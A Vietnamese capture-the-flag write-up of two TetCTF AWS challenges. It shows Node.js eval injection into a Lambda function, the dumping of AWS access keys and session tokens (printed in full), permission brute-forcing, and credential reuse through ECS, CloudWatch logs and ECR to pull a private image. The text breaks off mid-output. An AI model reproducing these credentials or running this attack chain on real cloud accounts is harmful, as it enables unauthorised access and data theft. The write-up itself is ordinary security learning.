TLDR
Đợt này nghỉ làm "bảo vệ" 1 thời gian. Định rằng 3 năm sắp tới sẽ là 3 năm timeskip để nâng trình độ mình lên, luyện các loại haki quan sát đ cần nhìn cũng ra bug, haki vũ trang dùng tay không viết payload phát ăn ngay, haki bá vương làm mấy thằng duplicate bất tỉnh đ nộp được report. Cơ mà sau khi warm-up với TetCTF thì thấy mình còn hơi đần...
WEB
I. Hello from API GW (1000)
1. Initial recon:
Đây là một AWS challenge, cụ thể là API Gateway. Trước tiên chúng ta cần nhìn vào url. Để hiểu
huk5xbypcc
hayexecute-api
trong url là gì thì đọc ở đây.Thử call api thì ra một số response như sau: +
GET /
-->{"message":"Forbidden"}
. => không mần ăn gì được rồi. +GET /dev
-->{"message":"Missing Authentication Token"}
. => cần bypass authen? +GET /dev/vulnerable
-->"Hello from Lambda"
. => thì ra API Gateway này là dùng để chạy 1 hàm Lambda AWS? +GET /dev/vulnerable?vulnerable=%22<something>%22
-->{"message":"Evaluated User Input","result":"<something>"}
. => nếu response chỉ là"result":"<something>"
thì ai cũng nghĩ hàm Lambda này nhận 1 string trả về 1 string nào đó. Nhưng mà tự nhiên URL đề bài cho có dấu"
để đóng string lại kèm theo"message":"Evaluated User Input"
như nữa thì chắc kèo hàm Lambda này chính là hàmeval()
rồi. Nhưng màeval()
của PHP, Python hay Javascript thì chỉ có Chúa và tác giả mới biết:
2. Exploit and Post-exploit:
- "Đây là cloud challenge, lại còn black box nữa, chắc đ có ai lại đi filter đâu". Thế tại sao khi truyền vào
console.log('something')
như sau thì nó không in ra gì ở response?
- Lí do là vì ... Node JS nó hoạt động như thế, demo thử là biết:
- Cuối cùng thì sao nhiều lần mò mẫm vì sao thì
require('child_process').execSync('env').toString()
là payload cuối cùng trong bước exploit. Tại sao ở đoạn này lại làenv
chứ không phải làcat /flag
như các bài web ctf thông thường? Bởi vì tôi đã mò hết con server này và không tìm thấy file nào tên flag hết. Mà đây là cloud challenge nên chắc không có chuyện RCE Lambda xong là hết phim đâu. Nếu con server này dùng để deploy lambda thì chắc chắn biến môi trường phải có gì đó vui vui... Đây rồi!
GET /dev/vulnerable?vulnerable=require('child_process').execSync('env').toString() HTTP/2
Host: huk5xbypcc.execute-api.ap-southeast-2.amazonaws.com
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
- Response:
HTTP/2 200 OK
Content-Type: application/json
Content-Length: 2491
Date: Sun, 28 Jan 2024 03:59:55 GMT
X-Amzn-Requestid: d3ebeee1-1ee9-40ed-82ba-5700d950549e
X-Amz-Apigw-Id: SO2hUGzZywMEoAA=
X-Amzn-Trace-Id: Root=1-65b5d13b-14afb127642643446fdc9d6b;Sampled=0;lineage=c3b1dc18:0
X-Cache: Miss from cloudfront
Via: 1.1 007499d01faac26a60f04831409d062e.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: HEL50-C2
X-Amz-Cf-Id: cwUWI1oMsNW2GxYLmXNwXBrIhUziRL4oxhtFCSafmBIqxTCG_QAocg==
{"message":"Evaluated User Input","result":"AWS_LAMBDA_FUNCTION_VERSION=$LATEST\nAWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEBQaDmFwLXNvdXRoZWFzdC0yIkcwRQIhAJFWPlKXyBd7bZ8acOKYyHf0n0B/PJGVORbd/b+3vN3BAiBXxjjvmN/h+u2fAsPZGOFhCbr9cyEltczvqvWSigZNKCrFAwjN//////////8BEAMaDDU0MzMwMzM5Mzg1OSIMy+g4uPAb0wklApDrKpkDVqUFFa1fAOffsJSBpadnSnj60c6+TuW2L9B+/AVpy1UI4XuvD9ySLy+7rHU/xduuZb9h5M683TPVm0RpAkt/aMvMxohs4KpZ6Xbj7B1vlo9aDThQtfsJa8wxwumUBLL5Xzm/NfuuYIXQdCCT/emr/iyRmaeDOSHRxnxJgfOSGA6ZTLGr7OgqXepeiNW+KXqOY9MBYPL2ikTYlMR7ERyGzb+PWd0Vvts7xyrk1q9yvCpTb3C7V9TV58HJE4DM2GceAdJqZUWEln0zOVrvIjj7Izj9AH+APTIpP0+I6Vo3n7HxWEZVDn/qx/d1s9IClpw8VVwLjB36HwYyM5iPeEHAgxB0gkQe8HWdP8cnmAU29n3NPPO0GiCnl12KD5PrjGCyYRlBj6HUWC3u1z8MDCGEaLDkNpNQ86QWrra4oQpEIdEFbClPnHLRpXd3rVbZkgR48PaA+Jj9ndUWIM9EIKOW2KnKWWqpvDsD3Fv6wkhHOfCGmrzxTGkL07QpYrjtSBux2UNXb0U80uM5DQaYs/t8daWgmDRU+nQ1cDCgldetBjqeAa6JdqwKSlUjnTyaRgvfGCGzROYH62tYyTuNeUQqF2PuWB363mrsmbsYThIAH5/+PIPZAhCKSGMT4KKLESeXdA3bhRpFynqc0rU4Rz4zArmITSSSHhj8MKhTNJtRGlnuKvjhmaqRcjgKukGEQoS0BdVBPwLjcwoDnQ+1NJfDl3BRLBSJIZpUvTYFIMYsxrY35tdS/gfWu76BWtx/Ndjm\nAWS_LAMBDA_LOG_GROUP_NAME=/aws/lambda/TetCtfStack-VulnerableLambdaAA73A104-aSkHuTfgUzPR\nLD_LIBRARY_PATH=/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/lib\nLAMBDA_TASK_ROOT=/var/task\nAWS_LAMBDA_RUNTIME_API=127.0.0.1:9001\nAWS_LAMBDA_LOG_STREAM_NAME=2024/01/28/[$LATEST]87e57aea97904bd289b7515d2cfed36c\nAWS_EXECUTION_ENV=AWS_Lambda_nodejs18.x\nAWS_LAMBDA_FUNCTION_NAME=TetCtfStack-VulnerableLambdaAA73A104-aSkHuTfgUzPR\nAWS_XRAY_DAEMON_ADDRESS=169.254.79.129:2000\nPATH=/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin\nAWS_DEFAULT_REGION=ap-southeast-2\nPWD=/var/task\nAWS_SECRET_ACCESS_KEY=CglddOltFCnUkY4HHZ1pFPZZzdCb8N1RBsWgnHa4\nLANG=en_US.UTF-8\nLAMBDA_RUNTIME_DIR=/var/runtime\nAWS_LAMBDA_INITIALIZATION_TYPE=on-demand\nAWS_REGION=ap-southeast-2\nTZ=:UTC\nNODE_PATH=/opt/nodejs/node18/node_modules:/opt/nodejs/node_modules:/var/runtime/node_modules:/var/runtime:/var/task\nENV_ACCESS_KEY=AKIAX473H4JB76WRTYPI\nAWS_ACCESS_KEY_ID=ASIAX473H4JBYTXKIPRS\nENV_SECRET_ACCESS_KEY=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\nSHLVL=1\n_AWS_XRAY_DAEMON_ADDRESS=169.254.79.129\n_AWS_XRAY_DAEMON_PORT=2000\n_X_AMZN_TRACE_ID=Root=1-65b5d13b-14afb127642643446fdc9d6b;Parent=06efca42126ae91e;Sampled=0;Lineage=c3b1dc18:0\nAWS_XRAY_CONTEXT_MISSING=LOG_ERROR\n_HANDLER=index.handler\nAWS_LAMBDA_FUNCTION_MEMORY_SIZE=128\nNODE_EXTRA_CA_CERTS=/var/runtime/ca-cert.pem\n_=/usr/bin/env\n"}
Từ biến môi trường chúng ta có hai tập credentials, 1 là tập temporary credentials với các biến môi trường
AWS_ACCESS_KEY_ID
,AWS_SECRET_ACCESS_KEY
vàAWS_SESSION_TOKEN
, tạm gọi là tập 1, 2 là một tập credentials "bí ẩn" (vì search trên google không có cái biến môi trường nào như này khi dùng AWS) vớiENV_ACCESS_KEY
vàENV_SECRET_ACCESS_KEY
, tạm gọi là tập 2.Trước tiên là thử nạp tập 1 vào
aws configure
rồi check identity:
- Dựa theo
Arn
thì đây là credentials tạm thời có execution role chỉ dùng để chạy lambda function thôi. Test thử một số service thì toàn báo... is not authorized
hết nên chắc kèo bỏ tập 1 sang tập 2 thôi. Tạo profile cho IAM user vớiAWS_ACCESS_KEY_ID=ENV_ACCESS_KEY
vàAWS_SECRET_ACCESS_KEY=ENV_SECRET_ACCESS_KEY
.
- Rút kinh nghiệm từ lần enumerate bằng tay các service ở tập 1 lâu vkl nên sang tập 2 tôi dùng tool bf-aws-permissions để bruteforce permission các service của tập 2 cho nó nhanh:
┌──(kali㉿kali)-[~/Downloads/bf-aws-permissions]
└─$ bash bf-aws-permissions.sh -p secret -r ap-southeast-2
bf-aws-permissions.sh: line 113: jq: command not found
Entity Type: user
Entity Name:
Attached Policies
bf-aws-permissions.sh: line 121: jq: command not found
Parameter validation failed:
Invalid length for parameter UserName, value: 0, valid min length: 1
=====================
Inline Policies
bf-aws-permissions.sh: line 145: jq: command not found
Parameter validation failed:
Invalid length for parameter UserName, value: 0, valid min length: 1
=====================
bf-aws-permissions.sh: line 165: jq: command not found
Parameter validation failed:
Invalid length for parameter UserName, value: 0, valid min length: 1
Groups
Checking for simulate permissions...
Current arn: arn:aws:iam::543303393859:user/secret-user
An error occurred (AccessDenied) when calling the SimulatePrincipalPolicy operation: User: arn:aws:iam::543303393859:user/secret-user is not authorized to perform: iam:SimulatePrincipalPolicy on resource: arn:aws:iam::543303393859:user/secret-user because no identity-based policy allows the iam:SimulatePrincipalPolicy action
You don't have simulate permissions!
Do you want to continue with brute-forcing? (y/N): Y
[+] You have permissions for: configure list (aws --profile secret --region ap-southeast-2 configure list )
[+] You have permissions for: configure list-profiles (aws --profile secret --region ap-southeast-2 configure list-profiles )
[+] You have permissions for: dynamodb describe-endpoints (aws --profile secret --region ap-southeast-2 dynamodb describe-endpoints )
[+] You have permissions for: elasticbeanstalk describe-application-versions (aws --profile secret --region ap-southeast-2 elasticbeanstalk describe-application-versions )
[+] You have permissions for: elasticbeanstalk describe-applications (aws --profile secret --region ap-southeast-2 elasticbeanstalk describe-applications )
[+] You have permissions for: elasticbeanstalk describe-environments (aws --profile secret --region ap-southeast-2 elasticbeanstalk describe-environments )
[+] You have permissions for: elasticbeanstalk describe-events (aws --profile secret --region ap-southeast-2 elasticbeanstalk describe-events )
[+] You have permissions for: elasticbeanstalk list-available-solution-stacks (aws --profile secret --region ap-southeast-2 elasticbeanstalk list-available-solution-stacks )
[+] You have permissions for: elasticbeanstalk list-platform-versions (aws --profile secret --region ap-southeast-2 elasticbeanstalk list-platform-versions )
[+] You have permissions for: iam get-account-password-policy (aws --profile secret --region ap-southeast-2 iam get-account-password-policy )
<string>:43: (WARNING/2) Inline literal start-string without end-string.
<string>:45: (WARNING/2) Inline literal start-string without end-string.
<string>:47: (WARNING/2) Inline literal start-string without end-string.
[+] You have permissions for: kinesis-video-archived-media get-dash-streaming-session-url (aws --profile secret --region ap-southeast-2 kinesis-video-archived-media get-dash-streaming-session-url )
[+] You have permissions for: kinesis-video-archived-media get-hls-streaming-session-url (aws --profile secret --region ap-southeast-2 kinesis-video-archived-media get-hls-streaming-session-url )
[+] You have permissions for: kinesis-video-archived-media list-fragments (aws --profile secret --region ap-southeast-2 kinesis-video-archived-media list-fragments )
[+] You have permissions for: kinesis-video-signaling get-ice-server-config (aws --profile secret --region ap-southeast-2 kinesis-video-signaling get-ice-server-config --channel-arn OrganizationAccountAccessRole)
<string>:18: (WARNING/2) Inline interpreted text or phrase reference start-string without end-string.ment-list --fragments OrganizationAccountAccessRole outfile OrganizationAccountAccessRo
<string>:: (ERROR/3) Anonymous hyperlink mismatch: 1 references but 0 targets.n-revision --configuration-id OrganizationAccountAccessRole --configuration-revision OrganizationAccountAccess
See "backrefs" attribute for IDs.
[+] You have permissions for: route53 get-checker-ip-ranges (aws --profile secret --region ap-southeast-2 route53 get-checker-ip-ranges )
[+] You have permissions for: route53 get-geo-location (aws --profile secret --region ap-southeast-2 route53 get-geo-location )
[+] You have permissions for: route53 list-geo-locations (aws --profile secret --region ap-southeast-2 route53 list-geo-locations )
[+] You have permissions for: secretsmanager list-secrets (aws --profile secret --region ap-southeast-2 secretsmanager list-secrets )
^C
- Retrieve flag:
┌──(kali㉿kali)-[~]
└─$ aws --profile secret --region ap-southeast-2 secretsmanager list-secrets
{
"SecretList": [
{
"ARN": "arn:aws:secretsmanager:ap-southeast-2:543303393859:secret:prod/TetCTF/Flag-gnvT27",
"Name": "prod/TetCTF/Flag",
"LastChangedDate": "2024-01-24T22:57:26.205000-05:00",
"LastAccessedDate": "2024-01-27T19:00:00-05:00",
"Tags": [],
"SecretVersionsToStages": {
"44e68972-c191-4bc8-acc8-d0ba3a29cea6": [
"AWSCURRENT"
]
},
"CreatedDate": "2024-01-24T22:57:25.933000-05:00"
}
]
}
┌──(kali㉿kali)-[~]
└─$ aws --profile secret --region ap-southeast-2 secretsmanager get-secret-value --secret-id "prod/TetCTF/Flag"
{
"ARN": "arn:aws:secretsmanager:ap-southeast-2:543303393859:secret:prod/TetCTF/Flag-gnvT27",
"Name": "prod/TetCTF/Flag",
"VersionId": "44e68972-c191-4bc8-acc8-d0ba3a29cea6",
"SecretString": "{\"Flag\":\"TetCTF{B0unTy_$$$-50_for_B3ginNeR_2a3287f970cd8837b91f4f7472c5541a}\"}",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": "2024-01-24T22:57:26.202000-05:00"
}
- Flag:
TetCTF{B0unTy_$$$-50_for_B3ginNeR_2a3287f970cd8837b91f4f7472c5541a}
.
II. Microservices:
Target: Role - arn:aws:iam::543303393859:role/TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL Source: An AWS Account is a must.
1. Initial recon
- Bài này bắt buộc ta phải có AWS Account vì cần phải phải tạo một IAM user sau đó assume role bằng role-arn
arn:aws:iam::543303393859:role/TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL
mà tác giả đã cho. Vì AWS cấm tạo tài khoản AWS bằng số điện thoại Nga nên tôi thó luôn thằng IAMsecret-user
ở challenge Hello from API GW (1000).
- Sau đấy lấy credentials tạm thời nhét vào một profile tên tùy ý, của tôi đặt tên là micro.
- Xem bên trong role
TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL
có những IAM policies gì.
C:\Users\antoinenguyen>aws iam list-role-policies --role-name TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL
{
"PolicyNames": [
"EcsTaskRoleDefaultPolicy50882C77"
]
}
- Xem tiếp bên trong policy
EcsTaskRoleDefaultPolicy50882C77
có gì.
C:\Users\antoinenguyen>aws iam get-role-policy --role-name TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL --policy-name EcsTaskRoleDefaultPolicy50882C77
{
"RoleName": "TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL",
"PolicyName": "EcsTaskRoleDefaultPolicy50882C77",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": "ecs:RunTask",
"Resource": "arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3",
"Effect": "Allow"
},
{
"Action": [
"iam:ListRolePolicies",
"iam:GetRolePolicy",
"ecs:ListClusters",
"ec2:DescribeSecurityGroups",
"ec2:DescribeSubnets"
],
"Resource": "*",
"Effect": "Allow"
},
{
"Effect": "Allow",
"Action": "iam:PassRole",
"Resource": [
"arn:aws:iam::543303393859:role/TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25",
"arn:aws:iam::543303393859:role/TetCtf2Stack-CtfTaskDefTaskRoleD17F896A-vJxGKfIFhChH"
]
},
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": [
"logs:GetLogEvents",
"logs:DescribeLogStreams",
"logs:DescribeLogGroups"
],
"Resource": [
"arn:aws:logs:eu-west-2:543303393859:*"
]
}
]
}
}
Từ nội dung của policy
EcsTaskRoleDefaultPolicy50882C77
ta biết được roleTetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL
có những quyền sau: + Quyền ecs:RunTask cho phép ta thực thi một ECS Task dựa trên ecs task definition có arn làarn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3
. + Quyền iam:ListRolePolicies, iam:GetRolePolicy (nhờ vậy mà lúc này ta mới dùng được lệnhaws iam list-role-policies
vàaws iam get-role-policy
) và ecs:ListClusters, ec2:DescribeSecurityGroups, ec2:DescribeSubnets lên bất cứ resource nào. Nghĩa là ta có thể enumerate ECS và EC2 khá thoải mái. + Quyền iam:PassRole lên 2 IAM role có arn làarn:aws:iam::543303393859:role/TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25
vàarn:aws:iam::543303393859:role/TetCtf2Stack-CtfTaskDefTaskRoleD17F896A-vJxGKfIFhChH
. + Quyền logs:GetLogEvents, logs:DescribeLogStreams, logs:DescribeLogGroups cho phép xem bất cứ cloudwatch log nào của IAM user543303393859
mà ta đang dùng (arn:aws:logs:eu-west-2:543303393859:*
).Để ý tất cả các arn trong policy đều có region là
eu-west-2
nên ta cầnaws configure
, sửa lại Default region name thànheu-west-2
rồi mới enumrerate ECS và EC2.
┌──(kali㉿kali)-[~]
└─$ aws ecs list-clusters --profile micro
{
"clusterArns": [
"arn:aws:ecs:eu-west-2:543303393859:cluster/CtfEcsCluster"
]
}
┌──(kali㉿kali)-[~]
└─$ aws ec2 describe-security-groups --profile micro
<read output here: https://pastebin.com/Kurz5BxM>
┌──(kali㉿kali)-[~]
└─$ aws ec2 describe-subnets --profile micro
<read output here: https://pastebin.com/yM2XUxZS>
- Output sau khi enum các security group và subnet khá dài, nhưng trong các security group tôi chỉ chú ý đến cái này:
{
"Description": "GET FLAG",
"GroupName": "TetCTF-GETFLAG",
"IpPermissions": [],
"OwnerId": "543303393859",
"GroupId": "sg-0636ad23bae6f21e7",
"IpPermissionsEgress": [
{
"IpProtocol": "-1",
"IpRanges": [
{
"CidrIp": "0.0.0.0/0"
}
],
"Ipv6Ranges": [],
"PrefixListIds": [],
"UserIdGroupPairs": []
}
],
"VpcId": "vpc-07e8cd02a7c992f43"
}
Security group
TetCTF-GETFLAG
là của VPC có idvpc-07e8cd02a7c992f43
. Search trong output của lệnhdescribe-subnets
ta thấy VPC này có 4 subnet:subnet-05dc4f12caf437c48
,subnet-086c45729adc1af7a
,subnet-0b5d1c35a972b4d25
,subnet-06297de9c4d3bcad4
.Chỉ còn lại 4 quyền mà ta chưa thử là ecs:RunTask, logs:GetLogEvents, logs:DescribeLogStreams, logs:DescribeLogGroups. Nhưng logs:GetLogEvents, logs:DescribeLogStreams, logs:DescribeLogGroups buộc chúng ta phải có tên hoặc id của log mới xem được, nên tôi thử ecs:RunTask trước. Dù không biết ECS task có definition là
arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3
cần những parameter gì nhưng theo document thì--task-definition
bắt buộc phải có:
┌──(kali㉿kali)-[~]
└─$ aws ecs run-task --task-definition "arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3" --profile micro
An error occurred (ClusterNotFoundException) when calling the RunTask operation: Cluster not found.
- Vậy cần bổ sung thêm 1 cluster. Lúc nãy dùng lệnh
aws ecs list-clusters
ta chỉ thấy có 1 cluster duy nhất làCtfEcsCluster
:
┌──(kali㉿kali)-[~]
└─$ aws ecs run-task --task-definition "arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3" --cluster "CtfEcsCluster" --profile micro
An error occurred (InvalidParameterException) when calling the RunTask operation: Network Configuration must be provided when networkMode 'awsvpc' is specified.
- Cần tiếp Network Configuration. Lại theo theo document thì value của parameter
--network-configuration
có syntax trông như này:
{
"awsvpcConfiguration": {
"subnets": ["string", ...],
"securityGroups": ["string", ...],
"assignPublicIp": "ENABLED"|"DISABLED"
}
}
- Ta đã có subnets
subnet-06297de9c4d3bcad4
(1 trong 4 subnet, chọn cái nào cũng được) và securityGroupsTetCTF-GETFLAG
. Chỉ còn lạiassignPublicIp
là tôi không biết chọnENABLED
hayDISABLED
?
┌──(kali㉿kali)-[~]
└─$ aws ecs run-task --task-definition "arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3" --cluster "CtfEcsCluster" --network-configuration '{"awsvpcConfiguration":{"subnets":["subnet-06297de9c4d3bcad4"],"securityGroups":["sg-0636ad23bae6f21e7"],"assignPublicIp":"DISABLED"}}' --profile micro
An error occurred (InvalidParameterException) when calling the RunTask operation: No Container Instances were found in your cluster.
┌──(kali㉿kali)-[~]
└─$ aws ecs run-task --task-definition "arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3" --cluster "CtfEcsCluster" --network-configuration '{"awsvpcConfiguration":{"subnets":["subnet-06297de9c4d3bcad4"],"securityGroups":["sg-0636ad23bae6f21e7"],"assignPublicIp":"ENABLED"}}' --profile micro
An error occurred (InvalidParameterException) when calling the RunTask operation: Assign public IP is not supported for this launch type.
- Tôi nhớ ra mình đã bỏ quên 2 IAM role là
arn:aws:iam::543303393859:role/TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25
vàarn:aws:iam::543303393859:role/TetCtf2Stack-CtfTaskDefTaskRoleD17F896A-vJxGKfIFhChH
. Có khi manh mối nằm trong policy của 2 cái IAM role này.
┌──(kali㉿kali)-[~]
└─$ aws iam list-role-policies --role-name "TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25" --profile micro
{
"PolicyNames": [
"EcsExecutionRoleDefaultPolicy9114F99B"
]
}
┌──(kali㉿kali)-[~]
└─$ aws iam get-role-policy --role-name "TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25" --policy-name "EcsExecutionRoleDefaultPolicy9114F99B" --profile micro
{
"RoleName": "TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25",
"PolicyName": "EcsExecutionRoleDefaultPolicy9114F99B",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetAuthorizationToken",
"ecr:GetDownloadUrlForLayer",
"logs:CreateLogStream",
"logs:PutLogEvents"
],
"Resource": "*",
"Effect": "Allow"
},
{
"Action": [
"logs:CreateLogStream",
"logs:PutLogEvents"
],
"Resource": "arn:aws:logs:eu-west-2:543303393859:log-group:/ecs/tet-ctf:*",
"Effect": "Allow"
}
]
}
}
┌──(kali㉿kali)-[~]
└─$ aws iam list-role-policies --role-name "TetCtf2Stack-CtfTaskDefTaskRoleD17F896A-vJxGKfIFhChH" --profile micro
{
"PolicyNames": []
}
Từ nội dung của policy
EcsExecutionRoleDefaultPolicy9114F99B
ta biết được những điều sau: + Các quyền để pull bất cứ image nào từ container registry kể cả ở trong các private repository nhưecr:BatchGetImage
,ecr:GetAuthorizationToken
,ecr:GetDownloadUrlForLayer
, + Mặc dù các quyền nhưlogs:CreateLogStream
,logs:PutLogEvents
có vẻ như vô dụng nhưng ta lại biết được trong CloudWatch có 1 log group làarn:aws:logs:eu-west-2:543303393859:log-group:/ecs/tet-ctf:*
. Kết hợp với quyềnlogs:DescribeLogStreams
đã đề cập trước đó cho phép ta đọc tất cả các log của user543303393859
thì việc đọc log group này dễ như trở bàn tay.Dù tôi có thể pull bất cứ image nào nhưng mà image đó tên là gì thì ... không biết! Đọc lại sample output của lệnh
aws ecs run-task
thì giật mình ngang...
- Như vậy nếu chạy lệnh
aws ecs run-task
ta sẽ biết được image nào trong registry được sử dụng để tạo container. Theo hình dung của tôi thì infrastructe của hệ thống cloud trong challenge này sẽ gần giống như hình dưới nhưng có thêm cloudwatch để ghi log hoạt động của container.
Trong đó ECS Cluster chính là
CtfEcsCluster
ta đã biết đặt trongvpc-07e8cd02a7c992f43
. Trong docker để tạo được container thì trước tiên phải pull image đã. Mà để pull được image thìCtfEcsCluster
phải có public ip. VậyassignPublicIp=ENABLED
!Còn nữa, log group
arn:aws:logs:eu-west-2:543303393859:log-group:/ecs/tet-ctf:*
có vai trò gì trong việc run task không? Có khi nào nó sẽ ghi lại kết quả củaTetCtf2StackCtfTaskDefB40F186A:3
?
2. Privilege escalation and pull evey images from everywhere?
- Ý tưởng khai thác của tôi sẽ là chạy task
arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3
trước đã rồi tính.
┌──(kali㉿kali)-[~]
└─$ aws ecs run-task --task-definition "arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3" /
--cluster CtfEcsCluster /
--network-configuration '{"awsvpcConfiguration":{"subnets":["subnet-06297de9c4d3bcad4"],"securityGroups":["sg-0636ad23bae6f21e7"],"assignPublicIp":"ENABLED"}}' /
--launch-type FARGATE --profile micro
<read full output here: https://pastebin.com/VczyhptG>
...
"containers": [
{
"containerArn": "arn:aws:ecs:eu-west-2:543303393859:container/CtfEcsCluster/91e0d247ab044bd1823d8eeb1548e204/3d4b8560-fac9-42cb-a35e-1fc4eb88089a",
"taskArn": "arn:aws:ecs:eu-west-2:543303393859:task/CtfEcsCluster/91e0d247ab044bd1823d8eeb1548e204",
"name": "CtfContainer",
"image": "543303393859.dkr.ecr.eu-west-2.amazonaws.com/tet-ctf:flag",
"lastStatus": "PENDING",
"networkInterfaces": [],
"cpu": "0"
}
]
- Sau đó kiểm ra xem có log nào được sinh ra trong log group
arn:aws:logs:eu-west-2:543303393859:log-group:/ecs/tet-ctf:*
không?
┌──(kali㉿kali)-[~]
└─$ aws logs describe-log-streams --log-group-name /ecs/tet-ctf --profile micro
{
"logStreams": [
{
"logStreamName": "CtfContainer/CtfContainer/8bf5932232ac47908114159dfac0b23c",
"creationTime": 1706915324827,
"firstEventTimestamp": 1706915329640,
"lastEventTimestamp": 1706915329640,
"lastIngestionTime": 1706915334631,
"uploadSequenceToken": "49039859576588092693570240962185597029341672077744578231",
"arn": "arn:aws:logs:eu-west-2:543303393859:log-group:/ecs/tet-ctf:log-stream:CtfContainer/CtfContainer/8bf5932232ac47908114159dfac0b23c",
"storedBytes": 0
}
]
}
- Quả nhiên là có thật. Đọc log thôi chứ còn chờ gì nữa yaosu!
┌──(kali㉿kali)-[~]
└─$ aws logs get-log-events --log-group-name /ecs/tet-ctf --log-stream-name "CtfContainer/CtfContainer/8bf5932232ac47908114159dfac0b23c" --profile micro
{
"events": [
{
"timestamp": 1706915329640,
"message": "$AKIAX473H4JB5FPBCMGX$ieLKiXVvNsZu3vfTEl9N6WDl2UKTnEJx2ZvTiN/E",
"ingestionTime": 1706915334631
}
],
"nextForwardToken": "f/38065483841767545845332586951123638684732042983307542528/s",
"nextBackwardToken": "b/38065483841767545845332586951123638684732042983307542528/s"
}
- Log trên có một đoạn là
"message": "$AKIAX473H4JB5FPBCMGX$ieLKiXVvNsZu3vfTEl9N6WDl2UKTnEJx2ZvTiN/E"
. TrôngAKIA...
thế kia có vẻ là một credentials của 1 IAM user nào đó ms được challenge tạo ra, tất nhiên là một credentials vĩnh viễn (creds tạm thời nó sẽ bắt đầu bằngASIA...
). Access key id và Secret access key được ngăn cách bởi dấu$
. Dùng thử credentials này xem sao.
- Mặc dù IAM user này không có quyền nào để đọc được policy của chính nó, nhưng trong hầu hết các quyền mà ta tìm được nãy giờ thì chỉ có quyền "pull mọi image từ registry" là ta chưa đụng tới. Chưa kể trong lúc run task
arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3
tôi phát hiện ra có cái này:"image": "
543303393859.dkr.ecr.eu-west-2.amazonaws.com/tet-ctf:flag
"
. Chắc chắn image này có flag bên trong rồi, pull về thôi.
3. Get flag:
- Vì
543303393859.dkr.ecr.eu-west-2.amazonaws.com/tet-ctf:flag
có lẽ nằm trong private repository nên ta sẽ tận dụng quyềnecr:GetAuthorizationToken
để lấy password để login docker.
┌──(kali㉿kali)-[~]
└─$ aws ecr get-login-password --profile ecs-tetctf | sudo docker login --username AWS --password-stdin 543303393859.dkr.ecr.eu-west-2.amazonaws.com
[sudo] password for kali:
WARNING! Your password will be stored unencrypted in /root/.docker/config.json.
Configure a credential helper to remove this warning. See
https://docs.docker.com/engine/reference/commandline/login/#credentials-store
Login Succeeded
- Pull về thôi!
┌──(kali㉿kali)-[~]
└─$ sudo docker pull 543303393859.dkr.ecr.eu-west-2.amazonaws.com/tet-ctf:flag
flag: Pulling from tet-ctf
1b13d4e1a46e: Pull complete
d881e3386c95: Pull complete
68b1d103a673: Pull complete
d5dc8046607d: Pull complete
f3278ee745dc: Pull complete
Digest: sha256:539f1f7d0be4d07ed32f72fe91bee230da855973b0d1a2c9454bca568b114556
Status: Downloaded newer image for 543303393859.dkr.ecr.eu-west-2.amazonaws.com/tet-ctf:flag
543303393859.dkr.ecr.eu-west-2.amazonaws.com/tet-ctf:flag
┌──(kali㉿kali)-[~]
└─$ sudo docker history --no-trunc 543303393859.dkr.ecr.eu-west-2.amazonaws.com/tet-ctf:flag
IMAGE CREATED CREATED BY SIZE COMMENT
sha256:377032e1eaab77980610cd9e65932d46e0db68d65f12bbe1b2c9dd4ba46e0e68 7 days ago CMD ["python3" "test.py"] 0B buildkit.dockerfile.v0
